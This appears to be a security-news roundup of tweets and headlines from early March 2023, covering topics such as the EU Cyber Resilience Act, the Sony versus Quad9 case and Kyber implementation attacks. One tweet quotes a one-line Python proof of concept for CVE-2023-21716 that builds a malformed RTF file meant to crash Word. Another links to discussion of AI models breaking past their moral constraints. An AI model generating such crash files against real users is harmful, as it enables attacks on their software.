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March 6, 2023

March 6, 2023

Pinboard

@Pinboard

Chilling. There's a risk that China could be using cranes to spy on US manufactured goods as they arrive in the US from China

Mar 5, 2023

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Aaron Bateman

@aaronbateman22

National Military Command Center (c. 1975)

Mar 5, 2023

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Matthew Green

@matthew_d_green

We reached the point in my blockchains class where the students asked “what happens if you make a mistake in your smart contract code” and oh it was glorious.

Mar 1, 2023

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Porn Zoom bomb forces cancellation of Fed's Waller event

Meeting of dicks canceled for excessive dicks.

https://www.reuters.com/world/us/feds-waller-virtual-event-canceled-after-zoom-hijack-2023-03-02/

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Japan self defense force trains for terrorist attacks (by YouTubers)

It’s not clear if the training scenario was constructed under the theory that terrorists might pose as YouTubers while trying to approach their targets

Japanese Self-Defense Forces and Tokyo police hold anti-nuisance YouTuber drill【Video】 | SoraNews24 —Japan News—

”It was just a prank, bro!” won’t get intruders off with just a warning.

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@mikko

@mikko

Sony Music was known as the company that was putting rootkits on their music CDs. Now they are litigating against DNS provider Quad9, requiring them to block a website that links to a site containing files that Sony asserts are violating their copyright.

Sony’s Legal Attack on Quad9, Censorship, and Freedom of Speech | Quad9

A potentially precedent-setting legal case involving Sony Music and Quad9 may endanger internet freedom of speech and allow unchecked content censorship.

Mar 5, 2023

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FCCE

@the_FCCE

No doubt it will hurt European innovation & competitiveness, especially when it comes to SMEs. It also risks hurt open source development in the EU, so there might be another ship we might watch sailing off in the distance while wondering why the Eu has such a hard time competing

Mar 6, 2023

Bert Hubert 🇺🇦

@bert_hu_bert

Updated after reader feedback: The EU's new Cyber Resilience Act is about to tell us how to code, and fine us hugely if we don't

The EU’s new Cyber Resilience Act is about to tell us how to code - Bert Hubert’s writings

First a round of thanks for the many people in industry and government who provided valuable links, background and insights! I could not have done this without your help! If you spot any mistakes, or have suggestions, please do contact me on [email protected] The EU’s new Cyber Resilience Act is adm…

Mar 6, 2023

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badidea 🪐

@0xabad1dea

so glad to be living in the future where AI keeps breaking out of every moral constraint we try due to the Waluigi Effect

The Waluigi Effect (mega-post) - LessWrong

Everyone carries a shadow, and the less it is embodied in the individual’s conscious life, the blacker and denser it is. — Carl Jung …

Mar 6, 2023

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Josh Trebach, MD

@jtrebach

one time I was in the hospital elevator with a resident and then the elevator got stuck and I was like “omg we are going to die” and she was like “omg YES I needed this today” and sat down and started eating a granola bar

Mar 5, 2023

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Ollie Whitehouse

@ollieatnowhere

A couple of weeks ago Hannah, @AlexBorshik and I implemented an extension for Burp Suite Enterprise Edition to support TOTP MFA. I then learnt a friend keeps all he is TOTP seeds in Git. I am not sure that was ever the envisaged security model 😅 Code 👇 github.com/Hannah-PortSwi…

GitHub - Hannah-PortSwigger/TOTPAuthenticate: This extension, for Burp Suite Enterprise Edition, utilizes session handling rules to provide a TOTP token to outgoing requests.

This extension, for Burp Suite Enterprise Edition, utilizes session handling rules to provide a TOTP token to outgoing requests. - GitHub - Hannah-PortSwigger/TOTPAuthenticate: This extension, for ...

Mar 6, 2023

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Tom Wong

@thomasgwong

Recently, some media outlets reported that one of the post-quantum cryptography algorithms that NIST selected for standardization had been broken. That's not the case. An implementation of the algorithm was cracked, not the algorithm itself.

https://www.insidequantumtechnology.com/news-archive/moody-researchers-didnt-break-crystals-kyber-algorithm-standards-course-unchanged/amp/ Feb 28, 2023

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Jessica Elgot

@jessicaelgot

Every meeting ever

Mar 5, 2023

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Joshua J. Drake

@jduck

CVE-2023-21716 Python PoC (take 2) open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))

Mar 5, 2023

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Hackers Claim They Breached T-Mobile More Than 100 Times in 2022

https://krebsonsecurity.com/2023/02/hackers-claim-they-breached-t-mobile-more-than-100-times-in-2022/

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